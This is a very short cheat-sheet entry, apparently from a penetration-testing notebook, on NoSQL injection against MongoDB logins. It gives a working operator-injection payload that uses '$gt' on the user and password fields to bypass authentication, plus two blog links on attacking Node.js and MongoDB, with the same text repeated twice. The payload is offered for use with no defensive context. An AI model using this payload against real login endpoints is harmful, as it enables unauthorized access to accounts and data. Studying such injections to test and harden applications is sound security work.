No-Sql Injection
Basically change the query to this.
{"user":{"$gt": ""},"pass":{"$gt": ""}}
​http://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html http://blog.websecurify.com/2014/08/attacks-nodejs-and-mongodb-part-to.html​
Basically change the query to this.
{"user":{"$gt": ""},"pass":{"$gt": ""}}
​http://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html http://blog.websecurify.com/2014/08/attacks-nodejs-and-mongodb-part-to.html​